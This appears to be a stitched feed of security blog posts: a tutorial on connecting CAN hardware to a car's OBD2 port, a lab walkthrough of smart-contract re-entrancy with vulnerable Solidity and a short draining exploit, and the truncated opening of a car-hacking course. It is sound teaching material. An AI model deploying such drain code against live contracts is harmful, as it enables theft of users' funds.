I realized the other day I posted Part 2 of this series to my youtube awhile ago but not blogger so this one will be quick and mostly via video walkthrough. I often post random followup videos which may never arrive on this blog. So if you’re waiting on something specific I mentioned or the next part to a series its always a good idea to subscribe to the YouTube. This is almost always true if there is video associated with the post. </div>
<div class="p1">
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'}
</style>
</div>
<div class="p2">
<br /></div>
<div class="p1">
In the last blog we went over using virtual CAN devices to interact with a virtual car simulators of a CAN network This was awesome because it allowed us to learn how to interact with he underlying CAN network without fear of hacking around on an expensive automobile. But now it’s time to put on your big boy pants and create a real CAN interface with hardware and plug your hardware device into your ODB2 port.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
The video I created below will show you where to plug your device in, how to configure it and how to take the information you learned while hacking around on the virtual car from part1 and apply it directly to a real car.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #6aa84f;">Video Walk Through Using Hardware on a Real Car</span></h3>
<iframe allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/y-y6CixqUSs" width="560"></iframe>
</div>
<div class="p1">
</div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
As a reference here are the two device options I used in the video and the needed cable:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #6aa84f;">Hardware Used:<span class="Apple-converted-space"> </span></span></h3>
<div>
<div>
Get OBD2 Cable:<br />
https://amzn.to/2QSmtyL<br />
<br />
Get CANtact:<br />
https://amzn.to/2xCqhMt<br />
<br />
Get USB2CAN:<br />
https://shop.8devices.com/usb2can</div>
<span style="color: #6aa84f;"><span class="Apple-converted-space">
</span></span>
<span style="color: #6aa84f;"><span class="Apple-converted-space">
</span></span></div>
</div>
<div class="p3">
</div>
<div class="p2">
<br /></div>
<div class="p2">
<br />
<h3>
<span style="color: #6aa84f;">Creating Network Interfaces: </span></h3>
</div>
<div class="p1">
As a reference here are the commands from the video for creating a CAN network interface:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
USB2Can Setup:<span class="Apple-converted-space"> </span></div>
<div class="p1">
The following command will bring up your can interface and you should see the device light color change:<span class="Apple-converted-space"> </span></div>
<div class="p1">
sudo ip link set can0 up type can bitrate 125000</div>
<div class="p2">
<br /></div>
<div class="p1">
Contact Setup:<span class="Apple-converted-space"> </span></div>
<div class="p1">
Set your jumpers on 3,5 and 7 as seen in the picture in the video</div>
<div class="p1">
Sudo slcand -o -s6 /dev/ttyACM can0 <— whatever device you see in your DMESG output</div>
<div class="p1">
Ifconfig can0 up</div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #6aa84f;">Summary:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
That should get you started connecting to physical cars and hacking around. I was also doing a bit of python coding over these interfaces to perform actions and sniff traffic. I might post that if anyone is interested. Mostly I have been hacking around on blockchain stuff and creating full course content recently so keep a look out for that in the future. </div>
<br />Ficti0nhttp://www.blogger.com/profile/01503121397289908637noreply@blogger.com2tag:blogger.com,1999:blog-5948768001255972621.post-22624701384099500802018-11-04T20:28:00.001-08:002018-11-05T16:46:27.626-08:00Blockchain Exploitation Labs - Part 1 Smart Contract Re-Entrancy <br />
<h2>
<span style="color: #38761d;">Why/What Blockchain Exploitation?</span></h2>
In this blog series we will analyze blockchain vulnerabilities and exploit them ourselves in various lab and development environments. If you would like to stay up to date on new posts follow and subscribe to the following:<br />
Twitter: <a href="https://twitter.com/ficti0n">@ficti0n</a><br />
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
Youtube: <a href="https://www.youtube.com/c/ConsoleCowboys">https://www.youtube.com/c/ConsoleCowboys</a><br />
URL: <a href="http://cclabs.io/">http://cclabs.io</a><br />
<a href="http://consolecowboys.com/">http://consolecowboys.com</a><br />
<br />
As of late
I have been un-naturally obsessed with blockchains and crypto currency. With
that obsession comes the normal curiosity of “How do I hack this and steal all
the monies?”<br />
<br />
However, as usual I could not find any actual walk thorough or solid examples of actually exploiting real code live. Just theory and half way explained examples. </div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
That
question with labs is exactly what we are going to cover in this series, starting with
the topic title above of Re-Entrancy attacks which allow an attacker to siphon
out all of the money held within a smart contract, far beyond that of their own
contribution to the contract. </div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
This will
be a lab based series and I will show you how to use demo the code within
various test environments and local environments in order to perform and
re-create each attacks for yourself.<span style="mso-spacerun: yes;"> </span><br />
<br />
<span style="mso-spacerun: yes;"><span style="color: #38761d;">Note: As usual this is live ongoing research and info will be released as it is coded and exploited. </span></span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
If you are
bored of reading already and just want to watch videos for this info or are only here for the demos and labs check out the
first set of videos in the series at the link below and skip to the relevant
parts for you, otherwise lets get into it: </div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br />
<add here="" video=""><iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/videoseries?list=PLCwnLq3tOElp0PFnuUFUIhpEeju5qrKJI" width="560"></iframe></add></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<add here="" video=""> </add></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<h2>
<span style="color: #38761d;">Background
Info: </span></h2>
</div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
This is a
bit of a harder topic to write about considering most of my audience are
hackers not Ethereum developers or blockchain architects. So you may not know
what a smart contract is nor how it is situated within the blockchain
development model. So I am going to cover a little bit of context to help with
understanding.<span style="mso-spacerun: yes;"> </span>I will cover the bare
minimum needed as an attacker. </div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
A Standard
Application Model:</div>
<ul>
<li>In client
server we generally have the following: </li>
<li>Front End
- what the user sees (HTML Etc) </li>
<li>Server
Side - code that handles business logic</li>
<li>Back End -
Your database for example MySQL</li>
</ul>
<div style="font-family: Calibri; font-size: 12.0pt; margin: 0in;">
<br />
A Decentralized Application Model:<br />
<br /></div>
<div style="font-family: Calibri; font-size: 12.0pt; margin: 0in;">
Now with a
Decentralized applications (DAPP) on the blockchain you have similar
front end server side technology however </div>
<div style="font-family: Calibri; font-size: 12.0pt; margin: 0in;">
<ul>
<li>Smart contracts are
your access into the blockchain. </li>
<li>Your smart contract
is kind of like an API </li>
<li>Essentially DAPPs
are Ethereum enabled applications using smart contracts as an API to the blockchain
data ledger</li>
<li>DAPPs can be banking
applications, wallets, video games etc. </li>
</ul>
</div>
<div style="font-family: Calibri; font-size: 12.0pt; margin: 0in;">
<h3>
<span style="color: #38761d;">A blockchain is a trust-less peer to peer decentralized database or ledger</span></h3>
</div>
<div style="font-size: 12.0pt; margin: 0in;">
<span style="font-family: "applesystemuifont";">The back-end is distributed across thousands of nodes in its entirety on each node.
Meaning every single node has a Full “database” of information called a
ledger.<span style="mso-spacerun: yes;"> </span>The second difference is that
this ledger is immutable, meaning once data goes in, </span><span style="font-family: "calibri";">data </span><span style="font-family: "applesystemuifont";">cannot
be changed. This will come into play later in this discussion about smart
contracts. </span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br />
<h3>
<span style="color: #38761d;">Consensus:</span></h3>
</div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
The
blockchain of these decentralized ledgers is synchronized by a consensus mechanism you may be familiar with
called “mining” or more accurately, proof of work or optionally Proof of stake.<br />
<br />
Proof of stake is simply staking large sums of coins which are at risk of loss if one
were to perform a malicious action while helping to perform consensus of data.<span style="mso-spacerun: yes;"> </span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
Much like proof of stake, proof of work(mining) validates hashing calculations to come to a consensus but instead of loss of coins there is a loss of energy, which costs money, without reward if malicious actions were to take place.<br />
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
Each block
contains transactions from the transaction pool combined with a nonce that
meets the difficulty requirements.<span style="mso-spacerun: yes;"> </span>Once
a block is found and accepted it places them on the blockchain in which more then half of the network must reach a consensus on.<span style="mso-spacerun: yes;"> </span></div>
<div style="font-family: Calibri; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
The point
is that no central authority controls the nodes or can shut them down. Instead
there is consensus from all nodes using either proof of work or proof of stake.
They are spread across the whole world leaving a single centralized jurisdiction as an impossibility. </div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<h3>
<span style="color: #38761d;">Things to
Note:<span style="mso-spacerun: yes;"> </span></span></h3>
</div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">First
Note: Immutability</span><br />
<br />
<ul>
<li>So, the
thing to note is that our smart contracts are located on the blockchain</li>
<li><span style="font-family: "calibri";">And
the blockchain is </span><span style="font-family: "applesystemuifont";">immutable</span></li>
<li>This means
an Agile development model is not going to work once a contract is deployed. </li>
<li>This means
that updates to contracts is next to impossible</li>
<li><span style="font-family: "calibri";">All
you can really do is create</span><span style="font-family: "applesystemuifont";">
a kill-switch or <span style="font-family: "applesystemuifont";">fail safe</span> functions to disable and execute some actions if
something goes wrong before going permanently dormant. </span></li>
<li>If you don’t include
a kill switch the contract is open and available and you can't remove it</li>
</ul>
</div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">Second
Note:<span style="mso-spacerun: yes;"> </span>Code Is Open Source</span></div>
<ul>
<li>Smart
Contracts are generally open source</li>
<li>Which
means people like ourselves are manually bug hunting smart contracts and
running static analysis tools against smart contract code looking for bugs.</li>
</ul>
<div style="font-family: Calibri; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
When
issues are found the only course of action is:</div>
<ul>
<li>Kill the
current contract which stays on the blockchain </li>
<li><span style="font-family: "calibri";">Then</span><span style="font-family: "applesystemuifont";"> deploy a whole new version. </span></li>
<li>If there is no
killSwitch the contract will be available forever. </li>
</ul>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
Now I know
what you're thinking, these things are ripe for exploitation. </div>
<div style="font-family: Calibri; font-size: 12.0pt; margin: 0in;">
And you would be
correct based on the 3rd note </div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br />
<span style="color: #38761d;"><br /></span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">Third
Note: Security in the development process is lacking </span></div>
<ul>
<li>Many
contracts and projects do not even think about and SDLC. </li>
<li>They rarely add
penetration testing and vulnerability testing in the development stages if at
all </li>
<li>At best there is a
bug bounty before the release of their main-nets</li>
<li>Which usually get
hacked to hell and delayed because of it. </li>
<li>Things are
getting better but they are still behind the curve, as the technology is new
and blockchain mostly developers and marketers.<span style="mso-spacerun: yes;">
</span>Not hackers or security testers. </li>
</ul>
<div style="font-family: Calibri; font-size: 12.0pt; margin: 0in;">
<br />
<div style="font-family: Calibri; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">Forth Note:<span style="mso-spacerun: yes;"> </span>Potential Data Exposure via Future Broken Crypto</span></div>
<ul>
<li>If sensitive data is
placed on the blockchain it is there forever </li>
<li>Which means that if
a cryptographic algorithm is broken anything which is
encrypted with that algorithm is now accessible </li>
<li>We all know that
algorithms are eventually broken!</li>
<li>So its always
advisable to keep sensitive data hashed for integrity on the blockchain but not actually stored on
the blockchain directly</li>
</ul>
</div>
<div style="font-family: Calibri; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br />
<h2>
<span style="color: #38761d;"> Exploitation of Re-Entrancy Vulnerabilities:</span></h2>
</div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
With a bit
of the background out of the way let's get into the first attack in this
series. </div>
<div style="font-family: Calibri; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
Re-Entrancy
attacks allow an attacker to create a re-cursive loop within a contract by
having the contract call the target function rather than a single request from
a<span style="mso-spacerun: yes;"> </span>user. Instead the request comes from
the attackers contract which does not let the target contracts execution
complete until the tasks intended by the attacker are complete. Usually this
task will be draining the money out of the contract until all of the money for
every user is in the attackers account. </div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<h3>
<span style="color: #38761d;">Example
Scenario: </span></h3>
</div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
Let's say
that you are using a bank and you have deposited 100 dollars into your bank
account.<span style="mso-spacerun: yes;"> </span>Now when you withdraw your
money from your bank account the bank account first sends you 100 dollars
before updating your account balance. </div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
Well what
if when you received your 100 dollars, it was sent to malicious code that
called the withdraw function again not letting<span style="mso-spacerun: yes;">
</span>the initial target deduct your balance ? </div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
With this
scenario you could then request 100 dollars, then request 100 again and you now
have 200 dollars sent to you from the bank. But 50% of that money is not yours.
It's from the whole collection of money that the bank is tasked to maintain for
its accounts. </div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
Ok that's
pretty cool, but what if that was in a re-cursive loop that did not BREAK until
all accounts at the bank were empty?<span style="mso-spacerun: yes;"> </span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
That is
Re-Entrancy in a nutshell.<span style="mso-spacerun: yes;"> </span>So let's
look at some code. </div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<h3>
<span style="color: #38761d;">Example
Target Code: </span></h3>
</div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;"><br /></span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;"><span style="mso-spacerun: yes;"> </span>function withdraw(uint
withdrawAmount) public returns (uint) {</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;"><span style="mso-spacerun: yes;"> </span></span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">1.<span style="mso-spacerun: yes;"> </span>require(withdrawAmount <=
balances[msg.sender]);</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">2.<span style="mso-spacerun: yes;">
</span>require(msg.sender.call.value(withdrawAmount)());</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;"><br /></span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">3.<span style="mso-spacerun: yes;"> </span>balances[msg.sender] -=
withdrawAmount;</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">4.<span style="mso-spacerun: yes;"> </span>return balances[msg.sender];</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;"><span style="mso-spacerun: yes;"> </span>}</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;"><br /></span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">Line 1:
Checks that you are only withdrawing the amount you have in your account or
sends back an error. </span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">Line 2:
Sends your requested amount to the address the requested that withdrawal. </span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">Line 3:
Deducts the amount you withdrew from your account from your total balance. </span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">Line 4.
Simply returns your current balance. </span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
Ok this
all seems logical.. however the issue is in Line 2 - Line 3.<span style="mso-spacerun: yes;"> </span>The balance is being sent back to you before
the balance is deducted. So if you were to call this from a piece of code which
just accepts anything which is sent to it, but then re-calls the withdraw
function you have a problem as it never gets to Line 3 which deducts the
balance from your total. This means that Line 1 will always have enough money
to keep withdrawing. </div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
Let's take
a look at how we would do that: </div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<h3>
<span style="color: #38761d;">Example
Attacking Code: </span></h3>
</div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;"><br /></span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;"><span style="mso-spacerun: yes;"> </span>function attack() public payable { </span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">1.<span style="mso-spacerun: yes;"> </span>bankAddress.withdraw(amount);</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;"><span style="mso-spacerun: yes;"> </span>}</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;"><br /></span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">2.<span style="mso-spacerun: yes;"> </span>function () public payable {</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;"><span style="mso-spacerun: yes;"> </span></span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">3.<span style="mso-spacerun: yes;"> </span>if (address(bankAddress).balance
>= amount) {</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">4.<span style="mso-spacerun: yes;"> </span>bankAddress.withdraw(amount);</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;"><span style="mso-spacerun: yes;"> </span>}</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin-left: .375in; margin: 0in;">
<span style="color: #38761d;">}</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">Line 1:
This function is calling the banks withdraw function with an amount less than
the total in your account</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">Line 2:
This second function is something called a fallback function. This function is
used to accept payments that come into the contract when no function is
specified. You will notice this function does not have a name but is set to
payable.</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">Line
3:<span style="mso-spacerun: yes;"> </span>This line is checking that the target
accounts balance is greater than the amount being withdrawn.</span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<span style="color: #38761d;">Line
4:<span style="mso-spacerun: yes;"> </span>Then again calling the withdraw
function to continue the loop which will in turn be sent back to the fallback
function and repeat lines over and over until the target contracts balance is
less than the amount being requested. </span></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7bmMXJkeMT4O6yHIii8yIk2hblUZ60LdKk1wPKlmJq7I-y4sOviVfcgCLmg2FTu1gMvC4-q3ZbV3S_wFSGk0-lEzjyAx3UFCGuCiTwNcKQJjLeUljhn0H1Blfq0VhsN6soV4HLg_GnNri/s1600/CodePaths.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="281" data-original-width="1600" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7bmMXJkeMT4O6yHIii8yIk2hblUZ60LdKk1wPKlmJq7I-y4sOviVfcgCLmg2FTu1gMvC4-q3ZbV3S_wFSGk0-lEzjyAx3UFCGuCiTwNcKQJjLeUljhn0H1Blfq0VhsN6soV4HLg_GnNri/s640/CodePaths.png" width="640" /></a></div>
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<add code="" path="" picture=""></add></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
Review the diagram above which shows the code paths between the target and attacking code. During
this whole process the first code example from the withdraw function is only
ever getting to lines 1-2 until the bank is drained of money. It never actually
deducts your requested amount until the end when the full contract balance is lower then your withdraw amount. At this point it's too late and there is no
money left in the contract. </div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<h2>
<span style="color: #38761d;"><br /></span></h2>
</div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<h2>
<span style="color: #38761d;">Setting up
a Lab Environment and coding your Attack: </span></h2>
</div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
Hopefully
that all made sense. If you watch the videos associated with this blog you will
see it all in action.<span style="mso-spacerun: yes;"> </span>We will now analyze code of a simple smart contract banking application. We will interface with this contract via our own smart contract we code manually and turn into an exploit to take advantage of the vulnerability. </div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
Download the target code<span style="mso-spacerun: yes;"> </span>from the
following link: </div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<a href="https://github.com/cclabsInc/BlockChainExploitation">https://github.com/cclabsInc/BlockChainExploitation</a></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<br /></div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
Then lets
open up an online ethereum development platform at the following link where we will begin analyzing and exploiting smart contracts in real time in the video below:</div>
<div style="font-family: AppleSystemUIFont; font-size: 12.0pt; margin: 0in;">
<a href="https://remix.ethereum.org/">https://remix.ethereum.org</a></div>
<div style="font-family: Calibri; font-size: 12.0pt; margin: 0in;">
<br />
<h3>
</h3>
<h2>
<span style="color: #38761d;">Coding your Exploit and Interfacing with a Contract Programmatically: </span></h2>
</div>
<div style="font-family: Calibri; font-size: 12.0pt; margin: 0in;">
The rest of this
blog will continue in the video below where we will manually code an interface to a full smart contract and write an exploit to take advantage of a Re-Entrency Vulnerability:<br />
<br />
<iframe allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/Xvx4fN5bv-Q" width="560"></iframe> </div>
<div style="font-family: Calibri; font-size: 12.0pt; margin: 0in;">
<add re-reentrancy="" video=""><br /></add>
<br />
<h2>
<span style="color: #38761d;"><add re-reentrancy="" video="">Conclusion: </add></span></h2>
<add re-reentrancy="" video="">In this smart contract exploit writing intro we showed a vulnerability that allowed for re entry to a contract in a recursive loop. We then manually created an exploit to take advantage of the vulnerability. This is just the beginning, as this series progresses you will see other types of vulnerabilities and have the ability to code and exploit them yourself. On this journey through the decentralized world you will learn how to code and craft exploits in solidity using various development environments and test nets. </add></div>
Ficti0nhttp://www.blogger.com/profile/01503121397289908637noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-39695013765911872642018-04-21T00:38:00.000-07:002018-04-21T00:45:25.202-07:00Hacking All the Cars - Part 1<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545}
p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545; min-height: 14.0px}
p.p3 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #e4af0a}
span.s1 {color: #454545}
span.s2 {color: #e4af0a}
span.Apple-tab-span {white-space:pre}
</style>
<br />
<div class="p1">
<h3>
<span style="color: #6aa84f;">A step by step lab based mini course on analyzing your car network</span></h3>
</div>
<div class="p2">
<span class="Apple-tab-span"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
I wanted to learn about hacking cars. As usual I searched around the internet and didn’t find any comprehensive resources on how to do this, just bits and pieces of the same info over and over which is frustrating. I am not a car hacking expert, I just like to hack stuff. This mini course will run in a fully simulated lab environment available from open garages, which means in 5 minutes from now you can follow along and hack cars without ever bricking your girlfriends car. Since you obviously wouldn’t attack your own Lambo, totally use your girlfriends Prius.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
Below are the topics covered in this blog<span class="Apple-converted-space"> </span>series so you can decide if you want to read further:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #6aa84f;">Whats covered in this car hacking mini course:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
Setting up Virtual Environments for testing</div>
<div class="p1">
Sniffing CAN Traffic</div>
<div class="p1">
Parsing CAN Traffic</div>
<div class="p1">
Reverse Engineering CAN IDs<span class="Apple-converted-space"> </span></div>
<div class="p1">
Denial of service attacks</div>
<div class="p1">
Replaying/Injecting Traffic</div>
<div class="p1">
Coding your own CAN Socket Tools in python</div>
<div class="p1">
Targeted attacks against your cars components</div>
<div class="p1">
Transitioning this to attacking a real car with hardware</div>
<div class="p2">
<br /></div>
<div class="p1">
The first thing we are going to do before we get into any car hacking specifics such as “WTF is CAN?”, is get your lab up and running. We are going to run a simple simulated CAN Bus network which controls various features of your simulated car. Its better to learn by doing then sit here and recite a bunch of car network lingo at you and hope you remember it. <span class="Apple-converted-space"> </span><br />
<span class="Apple-converted-space"><br /></span></div>
<div class="p1">
I also don’t want you to buy a bunch of hardware and jack into your real car right away. Instead there are options that can get you started hacking cars RIGHT NOW by following along with this tutorial. This will also serve to take away the fear of hacking your actual car by understanding what your doing first.<span class="Apple-converted-space"> </span><br />
<span class="Apple-converted-space"><br /></span>
<br />
<h3>
<span class="Apple-converted-space" style="color: #6aa84f;">Video Playlist: </span></h3>
</div>
<iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/videoseries?list=PLCwnLq3tOElrdkQy_daR4wr9lJCt8c_C6" width="560"></iframe>
<br />
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;">Setting up your Lab:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
First things first, set yourself up with an Ubuntu VMware install, and load it up. Optionally you could use a Kali Iinux VM, however, that thing drives me nuts with copy paste issues and I think Kayak was giving me install problems. So support is on you if you would like to use Kali. However, I do know Kali will work fine with OpenGarages virtual car.. So feel free to use it for that if you have it handy and want to get started right away.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<h3>
<span style="color: #6aa84f;"><br /></span></h3>
<h3>
<span style="color: #6aa84f;">Install PreReq Libraries:<span class="Apple-converted-space"> </span></span></h3>
</div>
<div class="p1">
